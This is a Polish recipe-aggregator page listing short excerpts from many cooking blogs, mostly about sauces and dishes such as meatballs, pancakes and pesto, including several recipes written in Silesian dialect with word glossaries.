pochodzi z książki Przepisy na cztery pory roku Zosi Cudny.     Składniki:   2 jajka chałka 250 ml mleka 2 łyżeczki cukru waniliowego cukier puder 3 łyżki masła Sos truskawkowy:   250 g truskawek (mama używała mrożonych, wcześniej je rozmroziła) 2 łyżki cukru     Przygotowanie:   Truskawki z 2 łyżkami cukru, podgrzewamy, kilka minut. Potem miksujemy je. Jajka

Lili w kuchni
Wołowina a la Stroganow 155

zagotować. Można zrobić bez mąki, ale wtedy trzeba dodać mniej wody. Na koniec tylko dodać śmietanę i natkę pietruszki. Śmietanę wlać do kubka i dodać kilka łyżek gorącego sosu, wymieszać i wlać do mięsa. Dodać posiekaną natkę pietruszki, wymieszać i gotowe. Podawać z ziemniakami lub kaszą. Polecam to było naprawdę pyszne

Kuchnia Pokoleń
Indycze kebaby 197

mięso z indyka i to z niego na prośbę córki postanowiłam zrobić nasze kebabki jak je nazywamy, czyli takie podłużne mielone z lekko egzotyczną nutą. Zawsze podaje je z sosem czosnkowym, dzięki czemu nabierają dodatkowego smaku. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
placuszki serowe bez sera. 205

Kukurydziane placki z tofu,* z kakaowym sosem daktylowym i bananem * na mleczku kokosowym  słynne już w niektórych kręgach, pora i na mnie :) proste rzeczy wzruszają mnie najbardziej, zwykłe historie doprowadzają do łez, zwykłe filmy i książki, tak proste, że mogłyby dziać się obok, jednocześnie wciągają i dają do myślenia

More food, love and dreams
Szałołt ze pozimkōma (Sałatka z truskawkami) 185

łoblyjcie [33] sie Wasz szałołt. Smacznego [1] kupiłem; ō- samogłoska w wymowie między o i u [2] miejsca [3] gdzie mówią [4] sałatkę [5] kiełbasy [6] wymyśliłem [7] sos [8] zjadłem [9] mają Państwo [10] wtedy [11] żona [12] gdzieś biegała [13] obiad [14] jadłem sam [15] was [16] będzie [17] dajcie [18] więcej [19] orzechowy [20] ocet [21] ustach

Chop w kuchni
Gańś ze apfylzinōm (Gęś z pomarańczą) 191

pośladkach 8 przynieść 9 szczyptę 10 nie marnowałem zbytnio czasu 11 dałem 12 mięso 13 ja 14 głodny 15 dłużej 16 mógł 17 wytrzymać 18 włóżcie 19 pół 20 sosu 21 w tym przypadku: zmiksowały

Chop w kuchni
Kura ze miyntōm (Drobiowe roladki z jabłkiem i miętą) 197

tyż zjejś ze klōskami, ryżym, a nawet ze bōłkōm. Smacznego   1 znów 2 przygotować 3 dawno 4 było 5 seler 6 mamy 7 gości 8 sztuczna szczęka 9 sos 10 szklanka 11 roztrzaskać 12 posypcie 13 kawałki 14 przypieczcie 15 pół 16 nalać 17 niej 18 można 19 prędzej 20 roztrzepać 21 jadłem

Chop w kuchni
Curry ze kury (Nie ma co tłumaczyć ;) ) 216

łogniu i łodstołwcie do och ō dzynia. 35 Tera zmielcie i zawrzyjcie 36 w jaki krauzce. 37 Niech W ō m dugo pomołgo 38 we warzyniu 1 gęste 2 sosy 3 mówili 4 każdą 5 nazywali 6 pali 7 węgiel 8 zawieść 9 nas 10 różne 11 dania 12 włóczył 13 koguta 14 pomidorów 15 łyżki 16 odrobinę 17 trochę

Chop w kuchni
Makaron z sosem krewetkowo - łososiowym 185

Czasami tak się zdarza, że na skutek kulinarnej improwizacji rozbrzmiewa głośne... ale pycha!!!..... mmmm .... ale dobre!!!!!!..... mmm... jak to zrobiłaś? I tak właśnie jest z tym sosem do makaronu. Naprawdę wyszedł wyśmienity, więc polecam.         dla dwóch osób 100 g krewetek 100 g wędzonego łososia 2 szalotki pęczek natki pietruszki 1/2 szklanki kremówki 2 łyżki masła

Jadło i czytadło
Skrzydełka w miodzie 145

miodu i ketchupu. Polecam, są przepyszne! Idealne na obiad, jak i na ciepłą imprezową przekąskę. Składniki: ok 1 kg skrzydełek 4 łyżki ketchupu 4 łyżki płynnego miodu 4 łyżki sosu sojowego ciemnego pół łyżeczki słodkiej papryki lub wędzonej sól i pieprz, pieprz ziołowy oregano 4 łyżki oleju Przygotowanie Wszystkie składniki na marynatę mieszamy ze sobą. Skrzydełka myjemy, osuszamy (ja pozbywam

e-PrzepisyKulinarne
Sos musztardowo- miodowy do sałatek 144

miseczce dokładnie wymieszać miód, musztardę i sok z cytryny (lub ocet winny). Dolać oliwę, cały czas mieszając. Jak już składniki się połączą, dodajemy sól i pieprz. Jak zrobić sos idealny? Ważne są proporcje - oliwy dodajemy 3 razy więcej od soku z cytryny (octu). Dokładnie i energicznie mieszamy, a na koniec dodajemy oliwę.  Proporcje musztardy i miodu możemy zmieniać wedle

Calzonella.com
Majonez domowy 223

nadający im niesamowitego smaku. Dobry majonez można jeść dosłownie łyżkami ze słoika, pod jednym wszakże warunkiem, że nie liczymy kalorii " class="wp-smiley" style="height: 1em; max-height: 1em;" /> Sos majonezowy, zwany majonezem do najlżejszych nie należy, za to do tych najsmaczniejszych i owszem. Ponieważ ostatnio jestem na etapie uważnego studiowania etykietek ze składem produktów ze smutkiem, musiałam zrezygnować

Mieszam w Garnku
Śmietankowe placuszki z sosem czekoladowo-truskawkowym 193

pozbyć się nadmiaru tłuszczu. 3. Śmietankę podgrzewamy, do gorącej dodajemy połamaną tabliczkę czekolady. Pozostawiamy na 2 minuty po czym mieszamy dokładnie aż do jej rozpuszczenia. 4. Placuszki polewamy odrobiną sosu czekoladowego i jeśli chcemy posypujemy dodatkowo pokruszonymi wafelkami

Kuchnia w czekoladzie
Wegańska pasta imbirowo-batatowa 172

imbirem, który zwiększa odporność. Pasta słodka a zarazem ma swój charakterek. Dzięki cieciorce nie brakuje jej białka roślinnego. SKŁADNIKI: 200g puree z batata  100g cieciorki (ugotowanej)  łyżka sosu sojowego kawałek imbiru  szczypta chili WYKONANIE: kawałek imbiru wyciskamy w prasce do czosnku wszystkie składniki blendujemy razem na gładką masę pastę przekładamy do słoiczka i przechowujemy w lodówce

healthy dreams
PAPPARDELLE Z SZYNKĄ PARMEŃSKĄ I GORGONZOLĄ 346

kolejny zainspirował mnie do stworzenia przepysznego, włoskiego dania! A właściwie to nie tylko Lidl, ale i Stefano Terrazzino, który to jest autorem tego przepisu . Połączenie makaronu pappardelle z kremowym sosem z dodatkiem szynki parmeńskiej i sera gorgonzoli jest świetnym pomysłem zarówno na obiad, jak i kolację! Łatwo, szybko, pysznie! Koniecznie wypróbujcie! SKŁADNIKI: ( 2 porcje ) * makaron pappardelle – 250 g * szynka parmeńska

Ostra na Słodko
Stara, a dobra. 162

Batatowa kasza manna;  z sosem wiśniowym i gorzką czekoladą  tradycyjnie najpierw trochę za gęsta, potem trochę za rzadka, jak zwykle ;) trzymajcie kciuki ..mocno

More food, love and dreams
Bagietka zapiekana z nadzieniem serowym 429

Gotową "mieszankę" przekładamy do wnętrza bagietek. Wierzch posypujemy resztą sera żółtego i smarujemy pozostałością masła z czosnkiem i koprem. Pieczemy ok 15-20 min. Polecam do tego ketchup lub sos czosnkowy :)  Smacznego

Kolejny blog o gotowaniu
Buraczane grubaski. 215

Gryczane kakaowe placki buraczane*;  z sosem kakaowym, gorzką czekoladą i wiśniami  *z tartym burakiem  te placki coś genialnego, kakaowe, grubaśne, jednak mąka gryczana to chyba moja ulubiona,  po powrocie dodam przepis ^^ Ciężki tydzień mnie czeka, nie tyle co fizycznie a psychicznie, ustne matury nie są dla mnie .. ale to od jutra..  ostatni tydzień przed feriami

More food, love and dreams
Pierogi drożdżowe z czterema farszami 170

smaku - podduszona cebulka Ugotowane ziemniaki utłuc tłuczkiem lub jak ktoś nie ma można zmielić w maszynce do mięsa, jak ostygną dodać ser i cebulkę i przyprawić do smaku. Sos czosnkowy : - jogurt naturalny - czosnek - sól i pieprz do smaku Mieszamy wyciśnięty czosnek z jogurtem i przyprawami. Można dodać trochę majonezu dla tych co nie patrzą na kalorie :) Skwarki : - surowy boczek - pieprz

Wypieki Rene
wypiek na niedziele 166

Batatowe ciasto z ciecierzycy,  z wiśniami i daktylowo-kokosowym sosem* *świeże daktyle rozgniecione z mleczkiem kokosowym  Daktyle i mleczko kokosowe.. coś genialnego

More food, love and dreams
nadziane muszle w sosie pomidorowym 475

doprawiamy bazylią, solą oraz pieprzem. Przekładamy do dużego naczynia żaroodpornego lub dzielimy na dwie części (w przypadku gdy zapiekamy w mniejszym naczyniu). Ugotowane muszle napełniamy farszem szpinakowym, układamy na sosie pomidorowy i całość posypujemy startym żółtym serem. Naczynie przykrywamy i zapiekamy przez

Domowy Smak Jedzenia
sos tatarski 146

Polecam sos tatarski

Ugotujmy Coś
Pyszna zapiekanka, spaghetti z kurczakiem i warzywami 227

cebulki dymki pokrojone w talarki. Smażyć, aż wszystko nabierze złotego koloru. Nie smażyć zbyt długo, be mięso będzie suche. Usmażone mięso rozłożyć na makaronie, następnie fasolkę i marchewki. Przygotowanie sosu – śmietanę, jajka, bulion warzywny, trochę soli, gałkę muszkatołową i pieprz dokładnie wymieszać za pomocą blendera. Dodać posiekaną natkę pietruszki, koperku i poszarpane listki bazylii. Wymieszać i zalać zapiekankę

Kuchnia Pokoleń
Sos koperkowy do ryby dietetyczny 212

Idealny słodko- kwaśny sos do ryb. Składniki: ½ małego jogurtu naturalnego Łyżka miodu ząbek czosnku ½ cytryny Koper świeży lub 1 łyżka suszonego Szczypta soli, pieprzu Koper posiekać, czosnek zmiażdżyć, następnie wycisnąć sok z cytryny, dodać do jogurtu. Doprawić solą, pieprzem i odrobiną miodu. Wymieszać. Podawać jako dodatek

Tradycyjna Kuchnia
BONDA – indyjskie pączki ziemniaczane + chutney pomidorowy 215

mąkę – mieszamy aż powstanie gładkie ciasto. Każdy pączek obtaczamy w cieście i smażymy na rumiano na mocno rozgrzanym oleju. Odsączamy na papierowym ręczniku i podajemy gorące z przygotowanym sosem. CHUTNEJ POMIDOROWY SKŁADNIKI: * pomidory – 250 g * czosnek – 2 ząbki * imbir, ostra papryka, kumin, gorczyca, – po 1 dużej szczypcie * ocet winny – 80 ml * woda

Ostra na Słodko
Makaron z cykorią 252

Szybkie i aromatyczne danie na obiad czyli makaron w sosie śmietanowym z cykorią i kurczakiem. Składniki: 250 g ulubionego makaronu (dałam o smaku pomidorowym) pierś z kurczaka 4 małe cykorie ząbek czosnku 180 g śmietanki 30% pęczek natki pietruszki sól, pieprz Przygotowanie Makaron gotujemy w osolonej wodzie wg instrukcji na opakowaniu. Kurczaka kroimy w kostkę, podsmażamy na patelni, następnie dodajemy

e-PrzepisyKulinarne
Klopsiki w sosie śmietanowo-pieczarkowym 305

Jeżeli zastanawiacie się co przygotować na obiad to polecamy te pyszne klopsiki w sosie śmietanowo-pieczarkowym. Składniki na klopsiki: - 1 czerwona cebula

Kuchenne Wariacje
Roladki z piersi kurzych w pysznym sosie z porem 199

której smażyły się roladki obsmażyć pokrojonego w półplasterki pora. Musi tylko zmięknąć, następnie wlać śmietanę i chwilkę podgrzać mieszając. Doprawić solą pieprzem, dodać zmieloną gałkę muszkatołową. Zalać tym sosem roladki. Wstawić naczynie do nagrzanego piekarnika do 200 C i piec 40 minut. Podawać z makaronem lub ryżem. Polecam były pyszne

Kuchnia Pokoleń
Prosty przepis na bitki wieprzowe w sosie grzybowo-cebulowym 219

mało przypraw, a smak grzybków i cebulki tworzy klimat jak u mamy. Czasem robię te bitki z samymi grzybami, których używam wówczas dwa razy więcej. Czasami robię z samym sosem cebulowym i wtedy korzystam z 3-4 sporych cebulek. To jedna z propozycji, które dobrze znoszą mrożenie, można więc zrobić większą ilość na zapas :) Poziom trudności

Bazując na smaku
Pulpety w śmietanowo - koperkowym sosie 202

talerz, a do bulionu wlać zahartowaną śmietanę.  Wsypać posiekany koperek i pulpety. Gotować na wolnym ogniu, aż śmietana lekko zgęstnie. Podawać z tłuczonymi ziemniakami i sałatą lodową w sosie vinerette..... Smacznego

Gaździnka warzy
Ostry sos na zimno 266

sól,  tabasco. Przygotowanie: Do majonezu, jogurtu i ketchupu dodać troszkę soli i tabasco. Wymieszać wszystkie składniki razem. Tabasco dodawać według własnego smaku. W zależności od tego jak ostre sosy się lubi. Smacznego

W kuchni u Moniki
Cinnamon roll z patelni. 160

Cinnamon roll pancakes z malinami (lekko bananowe placki z cynamonowymi zawijasami z cukru i masła, z sosem z serka) inspiracja zawijasy trochę nie wyszły i się po rozpływały, ale wyszło fajnie ^^ problem życia Natalii, prawdopodobnie kończą jej się maliny w zamrażalniku (w styczniu!!) ale nie jest pewna bo ma tam milion innych rzeczy

More food, love and dreams
Kopytka dyniowe smażone z sosem grzybowym 198

zrobienia. Szybko się robi a potem pysznie się zajada. Po wyżerce świąteczno - noworocznej lżejsze dania będą akurat na naszych stołach. Zachęcam do zrobienia. Kopytka dyniowe smażone z sosem grzybowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Śledzie z papryką, cebulą i jabłkiem w sosie majonezowym 205

była nowość ale jakże pyszna. Dziś z czystym sumieniem mogę rzec że warte są skosztowania i wszyscy miłośnicy śledzi muszą ich pokosztować. Śledzie z papryką, cebulą i jabłkiem w sosie majonezowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pieczony jogurt. 207

Pieczony jogurt kokosowy*; z kokosowym sosem daktylowym i gruszką  inspiracja *z mąką kokosową dziwne te święta były w tym roku.. nie mówię, że nie było miło, bo było, dużo śmiechu, dużo rozmów, bo lubię swoją rodzinę.. ale nie ma już tej całej magi, nie ma śniegu za oknem, a ja budząc się rano nie czułam .. po prostu

More food, love and dreams
sos chrzanowy 125

Polecam sos chrzanowy można podać

Ugotujmy Coś
Kotlety z ziemniaków z jogurtowym, ziołowym sosem 210

Jeśli macie już dość potraw świątecznych zapraszam do skosztowania takich oto kotletów z ziemniaków i sera. Pożywne, lekkie i bardzo smakowite, polecam. Kotlety z ziemniaków z jogurtowym, ziołowym sosem ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Korzenne gofry... z kaszy. 183

Korzenne gofry z kaszy jaglanej  z karmelizowaną pomarańczą i sosem daktylowym  kocham moją gofrownicę za to, że jeszcze mi oddaje te gofry w całości nie ważne jak dziwne są :D pokusa sięgnięcia po gruszkę zamiast pomarańczy była silna, ale jakoś święta trzeba przywołać ;) i uprzedzając, wcale nie było za słodko :D uciekam do porządków

More food, love and dreams
Jagielnik batatowy na raz. 154

Batotowy jagielnik, na daktylowym spodzie  z różanym sosem tahini i malinami  Była wersja dyniowa ( klik ), czekoladowej też nie mogło zabraknąć ( klik ), a że ostatnio nie mogę żyć bez batatów i tahini, to.. no, to była tylko kwestia czasu :3 następna wersja? zdecydowanie kusi mnie ta pieczona

More food, love and dreams
Sos z suszonych grzybów 169

Sos z suszonych grzybów to szczególne danie na Wigilijnym stole. Po pierwsze, że każdego roku był on przygotowany z grzybów, które samodzielnie zebraliśmy (moi rodzice lub ja z mężem). Po drugie to danie

Szybko Tanio Smacznie
Krem.. z tofu. 209

Kakakowy krem z tofu;  z kakakowym sosem daktylowym i borówkami; czekoladą  Robiąc ten krem do głowy przyszło mi już milion kombinacji smakowych na kolejne,także trzeba go częściej robić

More food, love and dreams
Polędwiczki w sosie pieczarkowym 286

Dziś prezentuję prosty, smaczny przepis na szybki weekendowy obiad - polędwiczki wieprzowe w sosie pieczarkowym. Czytaj więcej

Ana Mari's world
Klopsiki cielęce w sosie pomidorowym z kuskusem 270

można zrobić z mięsa mielonego? Zamiast tradycyjnego mielonego proponuję pyszne cielęce klopsiki w sosie pomidorowym. A zamiast ziemniaków jako dodatek do dania głównego proponuję kaszę kuskus. Czytaj więcej

Ana Mari's world
Panierowane frytki z cukinii z dipem cebulowym 216

może "z drowe" frytki? Polecam przepis na frytki z cukinii panierowane w bułce tartej i parmezanie, pieczone w piekarniku, podane z sosem cebulowym. Pyszna przekąska, która świetnie sprawdzi się na każdej imprezie . Czytaj więcej

Ana Mari's world
Różowa owsianka. 182

Buraczana owsianka; sosem kakaowym  z tahini i gorzką czekoladą proszę o kciuki, bo geometria analityczna i ja .. cóż.. nie pasujemy do siebie im więcej zadań zrobiłam, tym bardziej nic nie umiałam .. także kciuki bardzo mocno zaciśnięte się przydadzą

More food, love and dreams
Polędwiczka wieprzowa w sosie z porów 267

oleju obsmażyć każdy kawałek mięsa. Na koniec dodać grubo pokrojonego pora i przyprawę z pomidorów, chwilę smażyć. Podlać ok 1/2l gorącej wody i dusić pod przykryciem do czasu aż sos się zredukuje mniej więcej o połowę a mięso będzie miękkie. Można podawać z ryżem lub kaszą i ulubioną surówką

Smakołyki Asi
Policzki wieprzowe duszone w pomidorach i winie 225

pomidorach i winie) – wciąż dość rzadkie danie na naszych stołach. A szkoda. Mięso jest niezwykle kruche, delikatne, wilgotne. Dobrze przyrządzone wręcz rozpływa się w ustach. Delikatny naturalny sos z warzyw i z dodatkiem pomidorów nadaje niezwykły aromat. Składniki: ok. 0,5 kg policzków wieprzowych (6 sztuk) 2-3 marchewki 1 por 3-4 ząbki czosnku 0,5l bulionu warzywnego

Pociąg Do Kuchni
Wegeburgery z kaszą jaglaną 236

łyżeczka suszonego imbiru garść świeżej kolendry ewentualnie 2 łyżeczki ziarenek kolendry, zmielonych w moździerzu garść świeżej natki pietruszki 1/2 łyżeczki soli 1/4 łyżeczki pieprzu 1/4 łyżeczki chili 2 łyżki sosu sojowego Kaszę przelać wrzątkiem, wypłukać kilka razy na sicie, ugotować na sypko w 1 i 1/4 szklanki wrzącej wody, od momentu zagotowania wody, gotować 20 min pod przykryciem na małym

moj przepis na
Sernik na wynos. 171

Batatowy serniczek; z sosem daktyle-tahini  Ledwo co wróciłam, a już wracam.. cudownie, dobrze, że zaraz weekend ;) sernik do pudełka, kawa do termosu i (znów) szkoła

More food, love and dreams
Pasta z tuńczyka 619

Bardzo szybka w przygotowaniu. Dzięki Remuladzie duńskiej firmy Folwark jest dobrze doprawiona i aromatyczna. Składniki 1 puszka tuńczyka w wodzie 1-2 ogórki kiszone kawałek pora 2-3 łyżki sosu Remulada duńska firmy Folwark pieprz grubo … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Naleśniki z powidłami w sosie cynamonowym 187

patelnię. Naleśniki posmarować powidłami, złożyć jak krokiety i ułożyć na głębokiej patelni. Zwinięte naleśniki zalać śmietanką wymieszaną z 2 łyżkami cukru cynamonowego. Podgrzewać na średnim ogniu kilkanaście minut aż sos się zredukuje

Smakołyki Asi
Po nieprzespanej nocy. 195

Gryczane gofry buraczane z tahini,  gorzką czekoladą i sosem kakaowym, maliny  po jakiś 29 godzinach bez snu, godzinnej próbie przespania się takie śniadanie się należy ^^  jedno powiem "pysznie" <.3 dużo ostatnio wszystkiego naraz, może tak doba dłuższa o kilka godzin

More food, love and dreams
Diabelski sos 207

papryczki pozbawione pestek (papryczki mam działkowe nasze polskie). Dodać pozostałe składniki. Zamknąć naczynie. Nastawić czas 10 min/100*C/ obr. od 2 do 7 (zwiększać stopniowo).  Gotowy piekielny sos zawekować

ClauditteMissCooking
Pikantny sos tatarski 181

Bardzo smaczny sos do jajek,wędlin lub mięsa pieczonego.Idealny na Święta Wielkanocne. Składniki: 1 szklanka majonezu 1 mały słoik marynowanych grzybów 5 kawałków marynowanej papryki 4 ogórki konserwowe 1 jabłko  1 łyżka musztardy sól,pieprz szczypta chilli cukier puder Sposób przygotowania: Paprykę ,grzyby,ogórki i jabłko kroimy w drobną kostkę,dodajemy majonez i musztardę.Doprawiamy solą,pieprzem,chilli

Bajeczna Kuchnia
Tarta z tuńczykiem i pieczarkami 193

tuńczykiem i pieczarkami Składniki na ciasto: - 200 g mąki - 100 g masła - 1 jajko - 1 łyżka śmietany - szczypta soli Składniki na nadzienie: - 1 puszka tuńczyka w kawałkach w sosie własnym (185g) - 1 por - 1 łyżka masła - 300 g pieczarek - sól, pieprz - 3 jajka - 250 g śmietanki 18% - gałka muszkatołowa - 50 g sera gouda - kilka gałązek natki pietruszki Forma na tarte

Kuchenne Wariacje
Sos do pizzy 199

Dziś przedstawię najszybszy z sosów do pizzy. Taki którym smaruje się ciasto pod dodatki.  Składniki: keczup pikantny koncentrat pomidorowy ulubione zioła takie jak: oregano, tymianek, majeranek lub zioła prowansalskie. Wykonanie: Keczup i koncentrat wymieszać razem (w stosunku 1:1) dodać zioła i gotowe

Pychotkaaa
Karkówka zapiekana. Karczek pod pierzynką 3374

Karkówka pod pierzynką. Czasami robię dodatkowo w plastrach mięsa tzw. kieszonki, które nadziewam różnymi dodatkami. Ale zawsze karkówka przykryta jest „pierzynką” z plastrów sera i mieszanki sosu z majonezu i ketchupu. Tym razem karkówka ma kieszonki, do której włożone zostały pokrojone pieczarki i cebula. Tak zapiekana karkówka jest idealna na wszelkie imprezy, gdy goście przychodzą na określoną godzinę

Damsko-męskie spojrzenie na kuchnię
Krokiety z serem i pieczarkami 230

smażymy na rozgrzanym oleju do uzyskania złotego koloru.  Polecam jeść prosto zdjęte z patelni, kiedy ser jest roztopiony i pięknie się ciągnie. Zachęcam do podawania ich z sosem czosnkowym - klik Smacznego

Kolejny blog o gotowaniu
Lasagne z mięsem, cukinią, kapustą i papryką 161

często to nic się nie stanie ( mam nadzieję ). A co to za danie ? A jest to lasagne z trochę innymi dodatkami niż tradycyjnie ale i tak smacznie. Przepis na sos podam w przepisie choć jak poszperacie na blogu to też znajdziecie w osobnym poście. Zapraszam po przepis. Rozwiń i czytaj przepis

Ewa w kuchni
Wieprzowina z imbirem i pieczarkami 169

Ponieważ sami namawiamy do łączenia polskich i azjatyckich smaków i pomysłów na jedzenie (w naszym konkursie przy poprzednim wpisie), to sami też często tak gotujemy. Najczęściej

slodkokwasnapl
Pudding na ratunek. 199

Dyniowy puddig z kaszy manny z gruszką;  z tahini i sosem czekoladowym  Ostatnimi czasami byłam strasznie zmęczona, nic nie robiłam, a i tak zasnęłabym na stojąco po 8 godzinach snu. Nic mi się nie chciało, nie miałam motywacji do czegokolwiek. Któregoś dnia zaczełam o tym rozmawiać z koleżanką, doszłyśmy, że może jakieś witaminy

More food, love and dreams
Czekoladowy tofurnik na raz. 166

Czekoladowy tofurnik na spodzie z daktyli;  z sosem kakaowym i figą  i zaczęła się pora kiedy światło niby jest, ale zdjęcia wychodzą cudownie...rozmazane < / 3 Przepis

More food, love and dreams
z surowej kaszy. 174

Kakaowe placki gryczane *  bananowe;  z sosem kakaowym i kaki  * z surowej kaszy Idealnie starczyło kakao, a już się bałam :D  po takim śniadaniu mogę zacząć tydzień pełen szkoły  :D  Ps. przepis uzupełnię po powrocie

More food, love and dreams
Pasta jajeczna z tuńczykiem 178

czytałam opisy produktów z czego zostały zrobione sklepowe pasty jajeczne zmieniłam zdanie na kupno gotowej pasty i postanowiłam przygotować ją sama. Podczas przygotowań przygotowałam także puszkę z tuńczykiem w sosie własnym i po kilkunastu minutach miałam gotową pastę jajeczną z tuńczykiem. […] The post Pasta jajeczna z tuńczykiem appeared first on Magiczny Garnek

Magiczny Garnek
SAŁATKA Z KURCZAKIEM PODANA Z SOSEM MUSZTARDOWO-MIODOWYM 792

sałatka będzie idealna. Myślę też, że sprawdzi się świetnie na kolację lub lunch do pracy (jeżeli nie przeszkadza Wam cebula). Dressing wystarczy transportować w małym słoiczku i polać sosem danie tuż przed spożyciem. Gorąco polecam! Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku

Przepisy Aleksandry
Grzyby duszone w śmietanie 217

ogniu jakieś 15-20 minut. Doprawiamy solą i pieprzem. Dodajemy śmietany i po chwili zdejmujemy z ognia. Możemy grzyby posypać koperkiem gdy podajemy je do ziemniaków lub polać takim sosem makaron

prawdziwe jedzenie
Pulpety gryczane z kurkami 182

plasterków suszonych pomidorów z oleju łyżka oleju z suszonych pomidorow 2 łyżki przecieru pomidorowego lub domowego ketchupu 0/5 łyżeczki wędzonej pikantnej papryki sól i pieprz do smaku sos: 250 g obranych i pokrojonych kurek szalotka łyżka oleju z suszonych pomidorów 100 ml bulionu warzywnego 80 g gorgonzoli 5-6 plasterków suszonych pomidorów z oleju sól i pieprz do smaku Wszystkie

Mienta blog
Ricottowe gryczane. 212

Płatki gryczane wymieszane z ricottą,  gruszką duszoną w kokosowym sosie karmelowym  ah, te ranne godziny   szybko ten czas leci..czasami za szybko Miłego dnia

More food, love and dreams
Pesto z natki pietruszki i suszonych pomidorów 189

pietruszki można zrobić tylko z oliwą i cytryną, lub z dodatkiem słonecznika, migdałów, innych świeżych ziół. Spróbujcie także z suszonymi pomidorami. W kilka sekund macie pyszne smarowidło do pieczywa, sos do makaronu lub dodatek do innych potraw. Składniki: szklanka posiekanej natki pietruszki, 3 listki bazylii lub gałązka tymianku (opcjonalnie), 3-5 suszonych pomidorów z oleju, sok i skórka otarta

SzczyptaSmaQ
Kulki wołowe w sosie słodkokwaśnym 198

Dziś kulki wołowe. Już kiedyś proponowaliśmy Wam kulki wołowe jak z ikea. A teraz czas na nową odsłonę – w sosie słodkokwaśnym. Takie kulki, że te szwedzkie klopsiki wymiękają w przedbiegach. Przepis powstał spontanicznie i nieskromnie musimy powiedzieć, czy też napisać … Czytaj dalej

slodkokwasnapl
Klopsiki cielęce w sosie pomidorowym z kuskusem 273

można zrobić z mięsa mielonego? Zamiast tradycyjnego mielonego proponuję pyszne cielęce klopsiki w sosie pomidorowym. A zamiast ziemniaków jako dodatek do dania głównego proponuję kaszę kuskus. Czytaj więcej

Ana Mari's world
Cytrynowe roladki i kluski śląskie 209

przełożyć do rondelka podlać winem i resztą marynaty , dodać tarty korzeń imbiru i dusić ok 40-45 min, można dodać odrobinę wody w razie potrzeby. Na koniec do sosu dodać śmietanę . Kluski przygotować tradycyjnie, ziemniaki uklepać w naczyniu podzielić na 4 części, jedną wyjąć i w to miejsce wsypać mąkę , dodać pozostałe ziemniaki wyjęte , jajko , sól i zagnieść ciasto. Formować

Gotowanie jest łatwe
Żeberka w sosie kurkowym z knedlem czeskim 161

przepłukać zimną wodą, pokroić jeśli są duże. Na patelni rozgrzać łyżkę masła włożyć kurki i mieszając przysmażyć i odparować, dodać śmietanę, sól i pieprz ziołowy oraz szczyptę kurkumy, zagotować sos po czym przełożyć do rondla z mięsem. Wywaru powinno być mało ok 2 cm, od dna. Wymieszać, zagotować i chwilę przytrzymać na ogniu. Ja podałam z knedlem czeskim ze sklepu

Gotowanie jest łatwe
Makaron z kurkami i bakłażanem 162

najpierw bakłażan i pozwolić by się przyrumienił. Następnie dodać opłukane kurki, posiekaną cebulę , przyprawy i smażyć aż odparują soki. Na koniec dodać śmietanę i kurkumę, wymieszać i chwilę pogotować sos. Dodać makaron i podgrzać. Posypać świeżą bazylią i natką pietruszki

Gotowanie jest łatwe
Sos z maślaczków 154

zeszklić na maśle cebulę, dodać maślaki i estragon oraz pieprz, chwilę posmażyć, gdyby zaczęły się przypalać, natychmiast podlać mlekiem. Mleko wymieszać ze śmietaną i mąką. Dodać do grzybów i sos ciągle mieszając doprowadzić do wrzenia, Doprawić do smaku solą i pieprzem i koloru kurkumą. Podawać z ziemniakami tłuczonymi. Posypać szczypiorkiem

Gotowanie jest łatwe
Naleśniki z meksykańskim sosem 176

zalewą, lekko rozdrobnione pomidory razem z przecierem i przyprawić do smaku. Dusić pod przykryciem ok godzinę na wolnym ogniu, od czasu do czasu podlać wodą.  Na koniec sos odparować. Nadziewać naleśniki

Gotowanie jest łatwe
Pieczony udziec indyczy, kasza i sos grzybowy 152

łyżeczka szczypta oregano szczypta lubczyku szczypta suszonej chili w płatkach 1 szkl kaszy gryczanej 2 szkl wody sól szczypta ogórków kiszonych suszonych szczypta papryki suszonej 1 łyżka łuszczu sos grzybowy 2 garście grzybów suszonych 1 cebula 400 ml śmietany kremówki sól pieprz estragon 2 łyżki oleju Udziec umyć, wyjąć kość jeśli mamy z kością. Zrolować i obwiązać sznureczkiem. Przyprawy wymieszać

Gotowanie jest łatwe
Jajka w koszulce, sos koperkowy i ziemniaki 149

posiekany koper i doprawić solą i pieprzem. Ugotowane ziemniaki odcedzić i utłuc. Jajka włożyć do garnka z wrzątkiem i ugotować, ok 3-4 min. Podawać ułożone na ziemniakach , polać sosem i udekorować rzeżuchą , mile widziany ogórek kiszony

Gotowanie jest łatwe
Kotlet z mięsa i kaszy bulgur w sosie grzybowym 184

kotlety; 200 g ugotowanej kaszy bulgur 250 g mięsa mielonego z łopatki 1 jajko pół cebuli sól pieprz pół łyżeczki suszonych pomidorów szczypta bazylii bułka tarta do panierowania na sos; 200 g mrożonych grzybów (opieńki) pół małej cebuli tłuszcz do smażenia 200 ml mleka 200 ml śmietany 1 łyżka mąki sól pieprz szczypta estragonu szczypta majeranku odrobina papryczki suszonej Mięso

Gotowanie jest łatwe
Grzanka z krewetkami i sosem kolendrowym 168

każdym przypadku sprawdzi się w 100%. Proste do przygotowania, a przy okazji naprawdę smaczne i przywołujące letnie wspomnienia. Co akurat teraz bardzo się przyda 😉 Można poeksperymentować z dodatkami do sosu, … Czytaj dalej

slodkokwasnapl
Pesto z liści rzodkiewki 191

Pesto, czyli zielony sos, pochodzi z Genui we Włoszech. Według tradycji robi się go w marmurowym moździerzu z oliwy, świeżej bazylii oraz orzechów piniowych. W moim przepisie z oryginalnej receptury została tylko oliwa z oliwek. Główną rolę zagrały liście rzodkiewki.  Składniki liście z dwóch pęczków rzodkiewek 4 łyżki oliwy z oliwek 2 łyżki ziaren słonecznika 2 łyżki pestek dyni

My Chcemy Jeść
.1112. 2xczekolada 203

